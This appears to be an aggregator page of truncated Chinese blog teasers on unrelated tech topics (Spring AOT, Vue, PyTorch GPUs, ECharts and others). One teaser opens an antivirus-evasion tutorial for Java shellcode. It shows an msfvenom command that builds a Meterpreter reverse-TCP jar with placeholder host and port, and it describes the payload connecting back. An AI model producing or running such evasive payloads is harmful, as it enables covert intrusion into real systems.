目前我国网民规模已超过10亿&#xff0c;在这互联网时代&#xff0c;更是流量为王。各个平台里的每个视频、每张图片&#xff0c;背后都有着算法的身影&#xff0c;支配着所有人的流量。作为内容创作者及运营者来说&#xff0c;除了制作高质量的内容以外&#xff0c;也需要掌握…

五年全满分 | 求臻医学满分通过2023 NGSST-A 能力验证

近期&#xff0c;求臻医学以满分的优异成绩顺利通过了美国病理学家协会&#xff08;College of American Pathologists, CAP&#xff09;组织开展的NGSST-A 2023&#xff08;Next-Generation Sequencing Solid Tumor&#xff09;能力验证项目。至此&#xff0c;公司已连续五年满…

如何去除音乐中的人声,只留伴奏?

如何去除音乐中的人声&#xff0c;只留伴奏&#xff1f;看到很多小伙伴都有这种需求&#xff0c;今天给大家分享一个宝藏网站&#xff0c;简易操作&#xff0c;可以轻松提取伴奏&#xff0c;想学的一起来看看吧&#xff01; 音分轨——人声分离软件&#xff0c;这是一个用了人工…

Spring 6.0 新特性

文章目录 Spring的发展历史AOTGraalVMSpringBoot实战AOTRuntimeHints案例分析RuntimeHintsRegistrar SpringBoot中AOT核心代码 Spring的发展历史 AOT Spring 6.0的新特性Ahead of Time&#xff08;AOT&#xff09;编译是一种技术&#xff0c;可以提前将Spring应用程序编译成原…

Linux为什么不能像鸿蒙一样实现万物互联?

Linux为什么不能像鸿蒙一样实现万物互联? 可能原因&#xff0c;Linux不会炒作。 万物互联&#xff0c;先从网络开始&#xff0c;光纤入户&#xff0c;首先接入光猫&#xff0c;光猫的操作系统&#xff0c;不确定是不是openWRT&#xff0c;但是这个确定是Linux内核。 然后进入…

免杀对抗-java语言-shellcode免杀-源码修改+打包exe

JAVA-ShellCode免杀-源码修改&打包EXE Shellcode-生成/上线 1.msf生成shellcode 命令&#xff1a;msfvenom -p java/meterpreter/reverse_tcp LHOSTx.x.x.x LPORTxxxx -f jar -o msf.jar 2.msf设置监听 3.执行msf生成的shellcode jar包&#xff0c;成功上线 命令&#xff1…

【再识C进阶2(下)】详细介绍指针的进阶——利用冒泡排序算法模拟实现qsort函数,以及一下习题和指针笔试题

前言 &#x1f493;作者简介&#xff1a; 加油&#xff0c;旭杏&#xff0c;目前大二&#xff0c;正在学习C&#xff0c;数据结构等&#x1f440; &#x1f493;作者主页&#xff1a;加油&#xff0c;旭杏的主页&#x1f440; ⏩本文收录在&#xff1a;再识C进阶的专栏&#x1…

echarts柱状图上方的数值为0时设置不展示

未去掉0的效果图 series: [{data: this.barData.y,type: "bar",barWidth: 20,itemStyle: {normal: {// 设置柱子圆角barBorderRadius: [2, 2, 0, 0],},},label: {show: true,position: top,color:#fff,formatter: function (params) {if (params.value > 0) {retu…

Vue3父组件访问子组件方法 defineExpose用法

父组件示例 <template><div class"container"><h-demo ref"childDom" /><button click"getChild"></button></div> </template><script setup> import Hdemo from /components/Hdemo; import …

利用vue-cli构建SPA项目以及在SPA项目中使用路由

一. 利用vue-cli构建SPA项目 构建前提&#xff1a; Node.js环境已经搭建完成&#xff08;可点击上一篇博客进行查看http://t.csdn.cn/i2Rg5&#xff09; 1.1 vue-cli是什么 vue-cli是一个用于快速搭建Vue.js项目的脚手架工具。用于自动生成vue.jswebpack的项目模板。它提供了一…

无涯教程-JavaScript - COUNT函数

描述 COUNT函数计算包含数字的单元格的数量,并计算参数列表中的数字。使用COUNT函数获取在数字范围或数字数组中的数字字段中的条目数。 语法 COUNT (value1, [value2] ...)争论 Argument描述Required/Optionalvalue1The first item, cell reference, or range within whic…

MeterSphere v2.10.X-lts 双节点HA部署方案

一、MeterSphere高可用部署架构及服务器配置 1.1 服务器信息 序号应用名称操作系统要求配置要求描述1负载均衡器CentOS 7.X /RedHat 7.X2C,4G&#xff0c;200GB部署Nginx&#xff0c;实现负载路由。 部署NFS服务器。2MeterSphere应用节点1CentOS 7.X /RedHat 7.X8C,16GB,200G…

b站老王 自动驾驶决策规划学习记录(十二)

自动驾驶之速度规划详解&#xff1a;SL与ST迭代 上一讲&#xff1a;b站老王 自动驾驶决策规划学习记录&#xff08;十一&#xff09; 接着上一讲学习记录b站老王对自动驾驶规划系列的讲解 参考视频&#xff1a; 自动驾驶决策规划算法第二章第七节(上) 速度规划详解:SL与ST迭代…

ubuntu 22.04 服务器网卡无IP地址

ssh连接服务器连接不上&#xff0c;提示如下&#xff1b; 连接显示器&#xff0c;ip addr ls 命令查看IP地址&#xff0c;有网卡但没有IP地址 solution&#xff1a; sudo dhclient enp10s0用于通过 DHCP 协议获取网络配置信息并为名为 enp10s0 的网络接口分配 IP 地址,enp1…

学会根据数据手册指令格式发送数据

根据教导&#xff0c;我才知道如何发送指令 EF AA 00 00 00 00 02 C2 00 C4&#xff08;正确&#xff09; EF AA 00 02 02 02 02 C2 00 C4 (错误格式) 一个字节用两个十六进制的数表示。错误示范的指令它的校验码错误的。校验码根据手册将字节相加计算。

GitStats - 统计Git所有提交记录工具

如果你是研发效能组的一员或者在从事 CI/CD 或 DevOps&#xff0c;除了提供基础设施&#xff0c;指标和数据是也是一个很重要的一环&#xff0c;比如需要分析下某个 Git 仓库代码提交情况&#xff1a; 该仓库的代码谁提交的代码最多 该仓库的活跃度是什么样子的 各个时段的提交…

c++ 纯虚函数、抽象类

一、 纯虚函数 抽象类 只要有一个纯虚函数&#xff0c;这个类称为抽象类 抽象类的特点 1、无法实例化 2、抽象类的子类&#xff0c;必须要重写父类中的纯虚函数&#xff0c;否者也属于抽象类 例子一 #include <iostream> #include <string.h> using namespa…

正确设置PyTorch训练时使用的GPU资源

背景&#xff1a; 最近在使用Hugging Face的transformers api来进行预训练大模型的微调&#xff0c;机器是8卡的GPU&#xff0c;当我调用trainer.train()之后&#xff0c;发现8个GPU都被使用了&#xff0c;因为这个机器上面还有其他人跑的模型&#xff0c;当我进行训练的时候&…

Python 爬虫实战之爬淘宝商品并做数据分析

前言 是这样的&#xff0c;之前接了一个金主的单子&#xff0c;他想在淘宝开个小鱼零食的网店&#xff0c;想对目前这个市场上的商品做一些分析&#xff0c;本来手动去做统计和分析也是可以的&#xff0c;这些信息都是对外展示的&#xff0c;只是手动比较麻烦&#xff0c;所以…

服务器新建FTP文件备份的地址

步骤1&#xff1a;远程桌面连接 步骤2&#xff1a;输入服务器地址&#xff0c;账号&#xff0c;密码 服务器地址&#xff1a;IP地址 账号&#xff1a;Administrator 密码&#xff1a;123456 步骤3&#xff1a;点击这个一个小人的图标 步骤4&#xff1a;General–>Add–&g…